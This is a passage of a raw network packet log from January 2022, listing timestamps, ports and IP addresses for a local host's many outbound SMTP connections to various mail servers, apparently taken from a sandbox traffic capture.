Jan 7, 2022 15:44:02.644354105 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644366980 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644382954 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644412994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644438028 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644438982 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644462109 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644484997 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644539118 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644546032 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644599915 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644639969 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644906044 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696690083 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696732044 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696758032 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696784973 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696811914 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696837902 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696927071 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696957111 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.696985006 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697012901 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697037935 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697073936 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697125912 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697299004 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697328091 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697344065 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697362900 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697381973 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697402000 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697433949 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697463036 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697519064 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.697705984 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.697789907 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.697884083 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.698013067 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.715787888 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:02.716061115 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:02.716099977 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:02.716710091 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.743524075 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.743839025 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.749963045 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.749985933 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.749995947 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750036955 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750233889 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750302076 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750308037 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750361919 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750441074 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750487089 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750524998 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750529051 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750557899 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750576019 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750592947 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750606060 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750680923 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750749111 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750750065 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750814915 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750853062 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750890970 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750915051 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750920057 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750952005 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750977039 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.750977993 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.750998974 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751007080 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751070976 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751085043 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751104116 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751115084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751132965 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751141071 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751152992 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751183033 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751184940 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751224041 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751252890 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751274109 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751277924 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751351118 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751354933 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751389027 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751466990 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751471043 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751501083 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751530886 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751550913 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.751550913 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751588106 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.751751900 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.771622896 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.771996975 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.798485994 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.801084042 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.802653074 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.802707911 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.802736044 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.802848101 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.802908897 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.803057909 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803150892 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.803277969 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803319931 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803421974 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.803637028 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803641081 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.803672075 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803704023 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803730011 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803765059 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803770065 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.803791046 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.803802013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803822994 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.803911924 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803944111 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.803978920 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804017067 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804050922 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804090023 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804126978 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804155111 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804181099 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804207087 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804246902 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804276943 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804354906 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804439068 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804477930 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804512978 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804549932 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804588079 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804624081 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804662943 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804702997 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804790974 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804821968 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804872990 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804904938 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804932117 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804950953 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.804979086 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805063963 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805099964 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805136919 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805159092 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805183887 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805210114 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805234909 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805258989 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805296898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805322886 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805361032 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805402040 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805609941 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805639982 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805665970 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805685997 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805752993 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805769920 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805788040 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805807114 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805825949 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805918932 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805959940 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.805990934 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806026936 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806272030 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806309938 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806348085 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806385994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806426048 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806463003 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806502104 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806540966 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806577921 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806616068 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806649923 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806677103 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806705952 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806730986 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806757927 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806786060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806813002 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806839943 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806865931 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806891918 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806919098 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806942940 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806971073 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.806998014 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.807024956 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.807053089 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.807276964 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.807329893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.807369947 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.832140923 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.832329035 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.855089903 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855139971 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855168104 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855195045 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855319023 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855350018 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855376005 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855536938 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855566025 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.855859041 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.856255054 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.856333017 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.857449055 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.857479095 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.857505083 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.857721090 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.857750893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.858031988 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.858059883 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.858223915 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.858285904 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.864049911 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.870414972 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.870613098 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.870637894 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.871341944 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:02.898004055 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.898046970 CET	25	49976	108.177.96.27	192.168.2.6
Jan 7, 2022 15:44:02.898102045 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.898231030 CET	49976	25	192.168.2.6	108.177.96.27
Jan 7, 2022 15:44:02.910314083 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.916071892 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.924043894 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:02.924076080 CET	25	49975	138.201.223.6	192.168.2.6
Jan 7, 2022 15:44:02.924249887 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:02.924480915 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:02.946868896 CET	25	49975	138.201.223.6	192.168.2.6
Jan 7, 2022 15:44:02.947021008 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:02.969649076 CET	25	49975	138.201.223.6	192.168.2.6
Jan 7, 2022 15:44:02.969774008 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:02.978044987 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:02.978599072 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:02.997296095 CET	25	49975	138.201.223.6	192.168.2.6
Jan 7, 2022 15:44:02.997442961 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:02.997479916 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:03.020282984 CET	25	49975	138.201.223.6	192.168.2.6
Jan 7, 2022 15:44:03.020912886 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:03.030857086 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:03.034272909 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:03.034528971 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:03.038583994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.038705111 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.065932989 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:03.070802927 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:03.077090979 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:03.089077950 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:03.090517998 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:03.112632036 CET	25	49978	130.193.9.47	192.168.2.6
Jan 7, 2022 15:44:03.112854004 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:03.116833925 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:03.147958994 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:03.151303053 CET	25	49978	130.193.9.47	192.168.2.6
Jan 7, 2022 15:44:03.151675940 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:03.151717901 CET	25	49978	130.193.9.47	192.168.2.6
Jan 7, 2022 15:44:03.151813030 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:03.152793884 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:03.153882027 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:03.153897047 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:03.153902054 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:03.206726074 CET	25	49977	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:03.206835032 CET	49977	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:03.220560074 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:03.220743895 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:03.220901966 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:03.222275019 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:03.243993044 CET	49980	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:03.377252102 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.403960943 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.404175043 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.432405949 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.432586908 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.459299088 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.460441113 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:03.461893082 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.464871883 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.491844893 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.491997957 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.503977060 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:03.504540920 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:03.523715019 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.538575888 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.538722038 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.538764954 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.539047956 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.565804958 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.565848112 CET	25	49981	142.250.145.26	192.168.2.6
Jan 7, 2022 15:44:03.565942049 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.568087101 CET	49981	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:44:03.591115952 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.591234922 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.644566059 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.644779921 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.696762085 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.700119019 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.700268984 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.711873055 CET	49985	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:03.739294052 CET	25	49985	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:03.740191936 CET	49985	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:03.752732038 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.752867937 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.770363092 CET	25	49985	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:03.770415068 CET	25	49985	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:03.770550966 CET	49985	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:03.770582914 CET	49985	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:03.770840883 CET	49986	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:03.797908068 CET	25	49985	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:03.798532963 CET	25	49986	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:03.798631907 CET	49986	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:03.804184914 CET	49971	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:44:03.809555054 CET	25	49979	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:03.810017109 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.810710907 CET	49979	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:03.814341068 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.814527988 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.814552069 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:03.814889908 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:03.828633070 CET	25	49986	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:03.828772068 CET	25	49986	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:03.828803062 CET	49986	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:03.828847885 CET	49986	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:03.856551886 CET	25	49986	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:03.866754055 CET	25	49983	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:03.866848946 CET	49983	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:04.007627964 CET	25	49979	74.125.200.27	192.168.2.6
